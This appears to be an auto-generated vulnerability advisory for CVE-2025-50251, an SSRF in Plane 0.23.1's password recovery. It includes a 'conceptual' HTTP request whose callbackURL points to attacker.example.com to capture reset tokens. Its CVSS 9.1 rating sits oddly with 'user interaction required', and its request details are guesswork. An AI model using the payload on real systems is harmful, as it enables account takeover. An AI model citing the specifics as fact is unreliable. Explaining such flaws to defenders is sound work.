Overview
The CVE-2025-50251 is a high severity vulnerability that opens up an avenue for potential system compromise or data leakage. This vulnerability affects MakePlane Plane 0.23.1 and is a server-side request forgery (SSRF) vulnerability found in the password recovery feature of the software. As such, it’s of particular concern to system administrators and security professionals managing systems running this software. The severity of this vulnerability, paired with its potential impact, makes it a critical issue that requires immediate attention.
Vulnerability Summary
CVE ID: CVE-2025-50251
Severity: High (CVSS: 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage
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Product | Affected Versions
MakePlane Plane | 0.23.1
How the Exploit Works
The SSRF vulnerability in MakePlane Plane 0.23.1 allows an attacker to trick the server into making requests on their behalf. This is possible due to inadequate server-side validation of user-supplied data in the password recovery feature. An attacker exploiting this vulnerability could potentially gain unauthorized access to sensitive data or even compromise the system entirely.
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited:
POST /password-recovery HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"email": "user@example.com",
"callbackURL": "http://attacker.example.com"
}In the above example, the `callbackURL` is manipulated to point to an attacker-controlled server. When the password recovery process is initiated, the server unwittingly sends sensitive data (potentially including password reset tokens) to the attacker’s server, thus enabling unauthorized access.
Mitigation and Remediation
The definitive solution to this vulnerability is to apply the vendor’s patch. If a patch is not immediately available, or if for some reason it cannot be applied right away, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used to temporarily mitigate the vulnerability. These systems should be configured to detect and block suspicious server-side requests until the patch can be applied.
Remember, staying up-to-date with both system patches and security practices is the most effective way to protect your systems and data from these and other vulnerabilities.